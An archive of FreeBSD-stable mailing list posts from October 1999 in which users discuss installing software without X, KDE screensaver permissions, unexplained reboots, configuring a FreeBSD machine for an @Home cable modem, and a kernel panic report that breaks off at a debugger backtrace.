From owner-freebsd-stable Sun Oct 3 2:14:39 1999 Delivered-To: freebsd-stable@freebsd.org Received: from peak.mountin.net (peak.mountin.net [207.227.119.2]) by hub.freebsd.org (Postfix) with ESMTP id 536F814A1A for ; Sun, 3 Oct 1999 02:14:36 -0700 (PDT) (envelope-from jeff-ml@mountin.net) Received: (from daemon@localhost) by peak.mountin.net (8.9.1/8.9.1) id EAA10556; Sun, 3 Oct 1999 04:14:35 -0500 (CDT) (envelope-from jeff-ml@mountin.net) Received: from dial-105.tnt1.rac.cyberlynk.net(209.224.182.105) by peak.mountin.net via smap (V1.3) id sma010554; Sun Oct 3 04:14:15 1999 Message-Id: <3.0.3.32.19991003040915.00a6fa20@207.227.119.2> X-Sender: jeff-ml@207.227.119.2 X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Sun, 03 Oct 1999 04:09:15 -0500 To: Sean-Paul Rees , freebsd-stable@FreeBSD.ORG From: "Jeffrey J. Mountin" Subject: Re: Dedicated Servers and XFree86 In-Reply-To: <37F6E3F6.C8119977@dreamfire.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10:04 PM 10/2/99 -0700, Sean-Paul Rees wrote: >I was attempting to install PostgreSQL on a server today, and it >requires TK8.0. TK requires X. This particular server runs headless, >keyboardless, and is controlled 100% by remote. I'd rather not have X >installed, to save diskspace and any present/future security holes it >may open. > >How do I get the software I want, without having to install X; or is X >pretty much a necessity? Might get away with just installing the libs from CD. Worked in the past for other ports that require X (like vim), but you all of X was not required. Or you could make, but not install, X and find what is required. Would be nice if one could build and install only the libs from the port. Jeff Mountin - jeff@mountin.net Systems/Network Administrator FreeBSD - the power to serve '86 Yamaha MaxiumX (not FBSD powered) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 3:34:32 1999 Delivered-To: freebsd-stable@freebsd.org Received: from dialup124.zpr.uni-koeln.de (1-153.K.dial.o-tel-o.net [212.144.1.153]) by hub.freebsd.org (Postfix) with ESMTP id 2393E14C85; Sun, 3 Oct 1999 03:34:28 -0700 (PDT) (envelope-from se@zpr.uni-koeln.de) Received: by dialup124.zpr.uni-koeln.de (Postfix, from userid 200) id DFA2DD59; Sun, 3 Oct 1999 11:48:30 +0200 (CEST) Date: Sun, 3 Oct 1999 11:48:30 +0200 From: Stefan Esser To: David Malone Cc: Lachlan O'Dea , freebsd-stable@FreeBSD.ORG, Stefan Esser Subject: Re: KDE 1.1.2 - screensaver password problem Message-ID: <19991003114830.A602@dialup124.zpr.uni-koeln.de> Reply-To: se@freebsd.org References: <37F00AD3.FD00F4BA@aba.net.au> <19990928111955.A481@vet.com.au> <19991002003726.B614@dialup124.zpr.uni-koeln.de> <19991002101951.A4399@walton.maths.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <19991002101951.A4399@walton.maths.tcd.ie>; from David Malone on Sat, Oct 02, 1999 at 10:19:51AM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 1999-10-02 10:19 +0100, David Malone wrote: > > one was required (sorry). The screen-savers have to run as root, > > since they can't check the users password, else. I do not like > > to have so many additional SUID root programs ... > > I thought they had added a small checkpass program which was supposed > to do this for the screen savers so they wouldn't have to be SUID. I > think it was called kchkpass - I wonder if there is some compile time > option to enable this? A quick test (only kcheckpass SUID root, *.kss mode 0755) did not work. I'll look into this during the next two weeks, but will not be able to do any commits during that time ... Regards, STefan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 5: 5:27 1999 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 649F414CFC for ; Sun, 3 Oct 1999 05:05:24 -0700 (PDT) (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id FAA12425; Sun, 3 Oct 1999 05:05:23 -0700 Received: from cschuber.net.gov.bc.ca(142.31.240.113), claiming to be "cwsys.cwsent.com" via SMTP by point.osg.gov.bc.ca, id smtpda12423; Sun Oct 3 05:05:02 1999 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id VAA83359; Sat, 2 Oct 1999 21:38:28 -0700 (PDT) Message-Id: <199910030438.VAA83359@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdX83333; Sat Oct 2 21:37:30 1999 X-Mailer: exmh version 2.0.2 2/24/98 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.3-RELEASE X-Sender: cy To: Gustavo V G C Rios Cc: freebsd-stable@FreeBSD.ORG Subject: Re: How Stable is FreeBSD 3.3Stable? In-reply-to: Your message of "Sat, 02 Oct 1999 18:49:42 -0300." <37F67DF6.7B1A7A9D@ddsecurity.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 02 Oct 1999 21:37:29 -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <37F67DF6.7B1A7A9D@ddsecurity.com.br>, Gustavo V G C Rios writes: > Dear gentleman, > > I have a box running FreeBSD Stable, it works all fine (as you can > imagine). But some user level programs seems to be able to crash my box > ! > I could not believe when that happened. > > 1) Amaya Web Browser. > I were using amaya, i pointed a URl to went ot it, just after i tried > to select a text from the browser, and: MY SYSTEM FREEZED, not worked, i > had to the power-off. > > 2) XV crash my box too. > Open XV, and then, try to grab a region of your X, your (mine) box > freezed too. More information is required to help diagnose the problem, e.g. dmesg output, kernel config file. Based on the scant information supplied, your memory is probably bad and needs replacing. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Province of BC "e**(i*pi)+1=0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 5:21:40 1999 Delivered-To: freebsd-stable@freebsd.org Received: from saturn.psn.net (saturn.psn.net [207.211.58.15]) by hub.freebsd.org (Postfix) with ESMTP id C55531530B for ; Sun, 3 Oct 1999 05:20:32 -0700 (PDT) (envelope-from will@blackdawn.com) Received: from shadow.blackdawn.com (5042-243.008.popsite.net [209.224.140.243]) by saturn.psn.net (8.9.3/8.9.3) with ESMTP id FAA08682; Sun, 3 Oct 1999 05:29:59 -0700 (MST) Received: (from will@localhost) by shadow.blackdawn.com (8.9.3/8.9.3) id IAA08670; Sun, 3 Oct 1999 08:20:10 -0400 (EDT) (envelope-from will) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sun, 03 Oct 1999 08:20:10 -0400 (EDT) Reply-To: Will Andrews From: Will Andrews To: Randy Bush Subject: Re: 3.2-release and netscape Cc: FreeBSD Stable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 02-Oct-99 Randy Bush wrote: >> So did you read the error message? > > yes You need to make this known when you ask for help - that you have read and comprehend the error message. Or else you'll get asked this question. >> Did you install the compat22 aout libraries? > > nope. i could not understand if the 'compat22 distribution' was a > distribution of libs or of netscape. i looked for a so named distribution > of netscape and did not find it. i looked for compat* in the ports > directories and had no luck. > > roam.psg.com:/usr/ports# ls -d */comp* > ls: */comp*: No such file or directory > > i did a search of the web site, and it said to do a /stand/sysinstall, but i > can not see a compat22 package. There is probably an email in the mailing list archives that'll tell you where to find the compat22 package. Note that it's a package, not a port.. somewhere on ftp*.*.FreeBSD.ORG (pick your poison^H^H^H^H^H^Hnearest ftp server). Where, I do not know as I do not have it bookmarked or memorized. Your best bet would be, thus, either search the webpage or the mlist archives. See http://www.FreeBSD.ORG/search/search.html. -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 6:52:25 1999 Delivered-To: freebsd-stable@freebsd.org Received: from binnacle.wantabe.com (binnacle.wantabe.com [209.16.8.14]) by hub.freebsd.org (Postfix) with ESMTP id 39E6714BEF for ; Sun, 3 Oct 1999 06:52:22 -0700 (PDT) (envelope-from jeffrl@wantabe.com) Received: from localhost (jeffrl@localhost) by binnacle.wantabe.com (8.9.3/8.9.2) with ESMTP id IAA84604 for ; Sun, 3 Oct 1999 08:52:21 -0500 (CDT) (envelope-from jeffrl@wantabe.com) X-Authentication-Warning: binnacle.wantabe.com: jeffrl owned process doing -bs Date: Sun, 3 Oct 1999 08:52:21 -0500 (CDT) From: "Jeffrey J. Libman" To: freebsd-stable@FreeBSD.ORG Subject: building navigator4.61 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG on my 3.3 stable system with recent ports cvsup, i get the following: +++++++++++++++++++++++++++++++++++++++++++++ + There are no X aout libs on this machine. + +++++++++++++++++++++++++++++++++++++++++++++ *** Error code 1 what do i need to install first? thanks in advance. cheers, jeff | |\ +------------------------------+ Jeffrey J. Libman, ops. mgr. | \ | Wantabe Internet Services | Wantabe, Inc. |__\ +------------------------------+ jeffrl@wantabe.com <-----|------> | access web cgi ftp news mail | (281) 493-0718 __,.-=\'`^`'~=-../__,.-= +------------------------------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 13:31:29 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mb04.swip.net (mb04.swip.net [193.12.122.208]) by hub.freebsd.org (Postfix) with ESMTP id 79ABE14FA1 for ; Sun, 3 Oct 1999 13:31:27 -0700 (PDT) (envelope-from andy@flame.org) Received: from nemesis (d212-151-105-165.swipnet.se [212.151.105.165]) by mb04.swip.net (8.8.8/8.8.8) with ESMTP id WAA22181 for ; Sun, 3 Oct 1999 22:31:21 +0200 (MET DST) Message-Id: <4.2.0.58.19991003222616.00c31670@atlantis.fukt.hk-r.se> X-Sender: andy@atlantis.fukt.hk-r.se X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 03 Oct 1999 22:29:10 +0200 To: freebsd-stable@freebsd.org From: Andreas Berg Subject: Re: Strange reboots In-Reply-To: References: <4.2.0.58.19991003013420.00a73e70@atlantis.fukt.hk-r.se> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thanks for everyones suggestions. I assume that noone knew of a OS problem or a problem with one of the programs I run. I'm quite sure that I dont have a CPU or memory problem since the box is really stable when its actually working (This is what most poeple resonding suggested). I'm leaning towards a possible failing power supply, I really can't see that it could be something else causing this. Once again, thanks for your help. -Andy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 14:21:44 1999 Delivered-To: freebsd-stable@freebsd.org Received: from florence.pavilion.net (florence.pavilion.net [194.242.128.25]) by hub.freebsd.org (Postfix) with ESMTP id D192814C28 for ; Sun, 3 Oct 1999 14:21:40 -0700 (PDT) (envelope-from joe@florence.pavilion.net) Received: (from joe@localhost) by florence.pavilion.net (8.9.3/8.8.8) id WAA64911; Sun, 3 Oct 1999 22:21:37 +0100 (BST) (envelope-from joe) Date: Sun, 3 Oct 1999 22:21:37 +0100 From: Josef Karthauser To: Andreas Berg Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Strange reboots Message-ID: <19991003222136.A64106@florence.pavilion.net> References: <4.2.0.58.19991003013420.00a73e70@atlantis.fukt.hk-r.se> <4.2.0.58.19991003222616.00c31670@atlantis.fukt.hk-r.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <4.2.0.58.19991003222616.00c31670@atlantis.fukt.hk-r.se> X-NCC-RegID: uk.pavilion Organisation: Pavilion Internet plc, 24 The Old Steine, Brighton, BN1 1EL, England Phone: +44-845-333-5000 Fax: +44-845-333-5001 Mobile: +44-403-596893 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Oct 03, 1999 at 10:29:10PM +0200, Andreas Berg wrote: > Thanks for everyones suggestions. I assume that noone knew of a OS problem > or a problem with one of the programs I run. I'm quite sure that I dont > have a CPU or memory problem since the box is really stable when its > actually working (This is what most poeple resonding suggested). I'm > leaning towards a possible failing power supply, I really can't see that it > could be something else causing this. > > Once again, thanks for your help. > > -Andy None of the programs you mentioned would cause the machine to reboot. In fact it is very rare that a a piece of software causes a system to reboot at all. We usually have 2 or 3 unscheduled reboots a year across 15 or so FreeBSD boxes. Most are due to hardware issues (dead harddrives, etc). Joe -- Josef Karthauser FreeBSD: How many times have you booted today? Technical Manager Viagra for your server (http://www.uk.freebsd.org) Pavilion Internet plc. [joe@pavilion.net, joe@uk.freebsd.org, joe@tao.org.uk] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 14:48: 9 1999 Delivered-To: freebsd-stable@freebsd.org Received: from www1.interdestination.net (www1.interdestination.net [209.12.127.2]) by hub.freebsd.org (Postfix) with ESMTP id 0AFDE150C9 for ; Sun, 3 Oct 1999 14:48:07 -0700 (PDT) (envelope-from zapper@idsmail.com) Received: from idsmail.com (Zapper@home.zapper.org [209.136.139.35]) by www1.interdestination.net (8.9.1/8.9.1) with ESMTP id QAA17672 for ; Sun, 3 Oct 1999 16:45:06 -0500 (CDT) Message-ID: <37F7CE27.2C6B849E@idsmail.com> Date: Sun, 03 Oct 1999 16:44:07 -0500 From: High Voltage Organization: home.zapper.org X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: FreeBSD-Stable Subject: @Home Connect. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Does anyone know where I can find info on how to set FreeBSD 3.3 Stable up for a @Home connect? I'm getting @Home installed this Friday and I'd like to be prepared. Thanx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 14:56: 0 1999 Delivered-To: freebsd-stable@freebsd.org Received: from darkstar.sandi.net (darkstar.sandi.net [165.24.155.244]) by hub.freebsd.org (Postfix) with SMTP id 40B0D14D6D for ; Sun, 3 Oct 1999 14:55:59 -0700 (PDT) (envelope-from blovett@darkstar.sandi.net) Received: (qmail 16802 invoked by uid 1000); 3 Oct 1999 21:56:35 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 3 Oct 1999 21:56:35 -0000 Date: Sun, 3 Oct 1999 14:56:34 -0700 (PDT) From: Ben Lovett To: High Voltage Cc: FreeBSD-Stable Subject: Re: @Home Connect. In-Reply-To: <37F7CE27.2C6B849E@idsmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG you should just be able to hook your system up and use DHCP to get your IP.. i don't believe that @Home uses a login program to authenticate yourself... if i'm wrong, please feel free to correct me on this. ben On Sun, 3 Oct 1999, High Voltage wrote: > Hi > > Does anyone know where I can find info on how to set FreeBSD 3.3 > Stable up for a @Home connect? I'm getting @Home installed this Friday > and I'd like to be prepared. > > Thanx > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 15:13: 2 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mail.rdc1.nj.home.com (ha1.rdc1.nj.home.com [24.3.128.66]) by hub.freebsd.org (Postfix) with ESMTP id 80FE614C15 for ; Sun, 3 Oct 1999 15:13:00 -0700 (PDT) (envelope-from garycor@home.com) Received: from home.com ([24.3.185.85]) by mail.rdc1.nj.home.com (InterMail v4.01.01.00 201-229-111) with ESMTP id <19991003221259.GOUW9731.mail.rdc1.nj.home.com@home.com>; Sun, 3 Oct 1999 15:12:59 -0700 Message-ID: <37F7D647.F8431B5C@home.com> Date: Sun, 03 Oct 1999 18:18:47 -0400 From: "Gary T. Corcoran" X-Mailer: Mozilla 4.6 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Ben Lovett Cc: High Voltage , FreeBSD-Stable Subject: Re: @Home Connect. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ben Lovett wrote: No, you're not wrong, but you can make it even simpler. While @home uses DHCP to simplify the setup of Windoze boxes, they actually assign you a static IP address. If you setup your Ethernet card with the IP address (and DNS, etc.) that they tell you on the sheet they give you, FreeBSD will work just fine with @home. Gary > you should just be able to hook your system up and use DHCP to get your > IP.. i don't believe that @Home uses a login program to authenticate > yourself... > > if i'm wrong, please feel free to correct me on this. > > On Sun, 3 Oct 1999, High Voltage wrote: > > > Does anyone know where I can find info on how to set FreeBSD 3.3 > > Stable up for a @Home connect? I'm getting @Home installed this Friday > > and I'd like to be prepared. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 15:18:24 1999 Delivered-To: freebsd-stable@freebsd.org Received: from darkstar.sandi.net (darkstar.sandi.net [165.24.155.244]) by hub.freebsd.org (Postfix) with SMTP id 52E3514F07 for ; Sun, 3 Oct 1999 15:18:16 -0700 (PDT) (envelope-from blovett@darkstar.sandi.net) Received: (qmail 16908 invoked by uid 1000); 3 Oct 1999 22:18:52 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 3 Oct 1999 22:18:52 -0000 Date: Sun, 3 Oct 1999 15:18:52 -0700 (PDT) From: Ben Lovett To: "Gary T. Corcoran" Cc: High Voltage , FreeBSD-Stable Subject: Re: @Home Connect. In-Reply-To: <37F7D647.F8431B5C@home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG yess.. that much i know :) On Sun, 3 Oct 1999, Gary T. Corcoran wrote: > > Ben Lovett wrote: > > No, you're not wrong, but you can make it even simpler. While > @home uses DHCP to simplify the setup of Windoze boxes, they > actually assign you a static IP address. If you setup your Ethernet > card with the IP address (and DNS, etc.) that they tell you on the > sheet they give you, FreeBSD will work just fine with @home. > > Gary > > > you should just be able to hook your system up and use DHCP to get your > > IP.. i don't believe that @Home uses a login program to authenticate > > yourself... > > > > if i'm wrong, please feel free to correct me on this. > > > > On Sun, 3 Oct 1999, High Voltage wrote: > > > > > Does anyone know where I can find info on how to set FreeBSD 3.3 > > > Stable up for a @Home connect? I'm getting @Home installed this Friday > > > and I'd like to be prepared. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 15:39:11 1999 Delivered-To: freebsd-stable@freebsd.org Received: from destiny.erols.com (destiny.erols.com [207.96.73.65]) by hub.freebsd.org (Postfix) with ESMTP id 8C3A414D60 for ; Sun, 3 Oct 1999 15:39:02 -0700 (PDT) (envelope-from jdowdal@destiny.erols.com) Received: from destiny.erols.com (someone@destiny.erols.com [207.96.73.65]) by destiny.erols.com (8.9.3/8.6.12) with ESMTP id SAA07549; Sun, 3 Oct 1999 18:38:53 -0400 (EDT) Date: Sun, 3 Oct 1999 18:38:52 -0400 (EDT) From: John Dowdal To: High Voltage Cc: FreeBSD-Stable Subject: Re: @Home Connect. In-Reply-To: <37F7CE27.2C6B849E@idsmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG One additional note for setting up @home, or most other cable modem services, (hmm .. any more words to throw in here for the search engine?) make sure you power cycle the cable modem when switching between two computers. When the cable modem powers up, it locks itself onto the MAC address of your ethernet card, and only listens to packets from that one address. If you go from one computer to another (or one ethernet card to another), you must power cycle the cable modem to reinitialize the MAC address, otherwise the connection will appear totally dead. Two friends of mine have wasted hours on this; lets get this archived to keep anyone else from wasting all this time. Otherwise, its quite easy to set up. You could set up the DHCP client, or else just run 'winipcfg' on the windoze machine they set up to get your IP, netmask, gateway, dhcp server, and DNS server, and punch that information into the BSD machine. On Sun, 3 Oct 1999, High Voltage wrote: > Hi > > Does anyone know where I can find info on how to set FreeBSD 3.3 > Stable up for a @Home connect? I'm getting @Home installed this Friday > and I'd like to be prepared. > > Thanx > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 18: 9:58 1999 Delivered-To: freebsd-stable@freebsd.org Received: from eng.cybersites.com (eng.cybersites.com [208.178.45.188]) by hub.freebsd.org (Postfix) with ESMTP id 2CEBC14E04 for ; Sun, 3 Oct 1999 18:09:50 -0700 (PDT) (envelope-from cyouse@cybersites.com) Received: from localhost (cyouse@localhost) by eng.cybersites.com (8.9.3/8.9.3) with ESMTP id VAA55547; Sun, 3 Oct 1999 21:11:15 -0400 (EDT) (envelope-from cyouse@cybersites.com) X-Authentication-Warning: eng.cybersites.com: cyouse owned process doing -bs Date: Sun, 3 Oct 1999 21:11:15 -0400 (EDT) From: Chuck Youse To: High Voltage Cc: FreeBSD-Stable Subject: Re: @Home Connect. In-Reply-To: <37F7CE27.2C6B849E@idsmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG @Home assigns you a static IP address, at least in New Jersey. Configuring networking is no different from plugging into any local area network. Chuck Youse Director of Engineering cyouse@cybersites.com On Sun, 3 Oct 1999, High Voltage wrote: > Hi > > Does anyone know where I can find info on how to set FreeBSD 3.3 > Stable up for a @Home connect? I'm getting @Home installed this Friday > and I'd like to be prepared. > > Thanx > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 18:29:33 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mx1.home.com (mx1.home.com [24.0.0.31]) by hub.freebsd.org (Postfix) with ESMTP id 65C4E14E04 for ; Sun, 3 Oct 1999 18:29:27 -0700 (PDT) (envelope-from dakott@home.com) Received: from kott (cc939825-a.stcl1.mi.home.com [24.7.250.15]) by mx1.home.com (8.9.1/8.9.1) with ESMTP id SAA01075; Sun, 3 Oct 1999 18:28:59 -0700 (PDT) Date: Sun, 3 Oct 1999 21:31:20 -0400 (EDT) From: David Kott To: John Dowdal Cc: High Voltage , FreeBSD-Stable Subject: Re: @Home Connect. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 3 Oct 1999, John Dowdal wrote: > One additional note for setting up @home, or most other cable modem > services, (hmm .. any more words to throw in here for the search engine?) > make sure you power cycle the cable modem when switching between two > computers. When the cable modem powers up, it locks itself onto the MAC > address of your ethernet card, and only listens to packets from that one > address. If you go from one computer to another (or one ethernet card to > another), you must power cycle the cable modem to reinitialize the MAC > address, otherwise the connection will appear totally dead. Two friends > of mine have wasted hours on this; lets get this archived to keep anyone > else from wasting all this time. That seems odd to me. My roommate and I share the same cable modem. We are not proxied as each of us have a distinct, and static IP. @Home allows us to purchase additional IPs (up to 3 per household) to add additional computers. The modem is a Mot. Cybersurfer Wave. I merely ran the cable modem's 10bT segment to the crossover port on an el-cheapo hub, and regular patch cable to each of our NICs. Perhaps your friends are using a first generation cable modem? Perhaps there is an ability to configure the cable modem we have remotely at the service head to allow multiple MAC addresses on the same segment? The modem would have to cache this configuration in something non-volatile as I have cycled the power on it several times. Also, I see ARP requests bouncing off my NIC (and presumably my roommates). This seems to suggest that most of the MAC level filtering, if you will, is done at the upstream router, and not necessarily in the cable modem itself. > > Otherwise, its quite easy to set up. You could set up the DHCP client, or > else just run 'winipcfg' on the windoze machine they set up to get your > IP, netmask, gateway, dhcp server, and DNS server, and punch that > information into the BSD machine. > It is indeed easy to setup. Just copy down the settings the techy installs in your Win32 configuration and translate them when you boot 'nix. For instance, place the DNS entries in /etc/resolv.conf in this format: nameserver nnn.nnn.nnn.nnn where: nnn.nnn.nnn.nnn is your assigned nameserver and use something similiar to the following commands to utilize your @Home interface: ifconfig de0 inet xxx.xxx.xxx.xxx netmask 255.255.255.0 route add default ddd.ddd.ddd.ddd where: xxx.xxx.xxx.xxx is your IP. ddd.ddd.ddd.ddd is your upstream router. (called a "gateway" in Microsoft-eze) replace interface "de0" with the interface that is attached to your cable modem. I don't use DHCP, and indeed, the only time I ever tried to use it, no one responded to the DHCP requests. I am not very familiar w/ the protocol or implementation that I tried, so YMMV. Curiosity may, or may not, have killed Schrodinger's cat. -townba To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 18:54:57 1999 Delivered-To: freebsd-stable@freebsd.org Received: from moek.pir.net (moek.pir.net [209.192.237.190]) by hub.freebsd.org (Postfix) with ESMTP id 47E8214FB9 for ; Sun, 3 Oct 1999 18:54:53 -0700 (PDT) (envelope-from pir@pir.net) Received: from pir by moek.pir.net with local (Exim) id 11XxL2-0004xz-00 for freebsd-stable@FreeBSD.ORG; Sun, 03 Oct 1999 21:54:52 -0400 Date: Sun, 3 Oct 1999 21:54:52 -0400 From: Peter Radcliffe To: FreeBSD-Stable Subject: Re: @Home Connect. Message-ID: <19991003215452.A18929@pir.net> Mail-Followup-To: FreeBSD-Stable References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: X-fish: < Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG David Kott probably said: > That seems odd to me. My roommate and I share the same cable modem. We > are not proxied as each of us have a distinct, and static IP. @Home > allows us to purchase additional IPs (up to 3 per household) to add > additional computers. > The modem is a Mot. Cybersurfer Wave. > Perhaps there is an ability to configure the cable modem we have remotely > at the service head to allow multiple MAC addresses on the same segment? > The modem would have to cache this configuration in something > non-volatile as I have cycled the power on it several times. > > Also, I see ARP requests bouncing off my NIC (and presumably my > roommates). This seems to suggest that most of the MAC level filtering, > if you will, is done at the upstream router, and not necessarily in the > cable modem itself. The LANCity cable modem that my mediaone connection uses can filter on a set number of outgoing MAC addresses. The basic number is one, so if you use one machine a second machine will behave as described - it's packets get dropped in the bit bucket at the cable modem. I've tested this. The multiple IP beta program mediaone is running with a small number of people around here increases that number and they reprogram the cable modem to allow more MAC addresses. This isn't usually a problem at that level since they also use DHCP (dynamic IP, static DNS) so if you want to use another network card you have to change the registered MAC address. I'd assume other cable providers do similar things if their cable modem model can filter MAC addresses and if you've only bought one MAC address you only get one MAC address. P. -- pir pir@pir.net pir@shore.net pir@net.tufts.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Oct 3 20:34: 5 1999 Delivered-To: freebsd-stable@freebsd.org Received: from trooper.velocet.net (trooper.velocet.net [216.126.82.226]) by hub.freebsd.org (Postfix) with ESMTP id 22A2414D35 for ; Sun, 3 Oct 1999 20:34:02 -0700 (PDT) (envelope-from dgilbert@trooper.velocet.net) Received: (from dgilbert@localhost) by trooper.velocet.net (8.9.3/8.9.3) id XAA55611; Sun, 3 Oct 1999 23:34:01 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14328.8233.302437.909051@trooper.velocet.net> Date: Sun, 3 Oct 1999 23:34:01 -0400 (EDT) To: freebsd-stable@freebsd.org Subject: Panic with pmap? X-Mailer: VM 6.71 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Since I was getting messages from the kernel that I should increase the PMAP_SHPGPERPROC, I set it to 400, and I get the following panic... panic: rlist_free: free start overlaps already freed area [...] (kgdb) bt #0 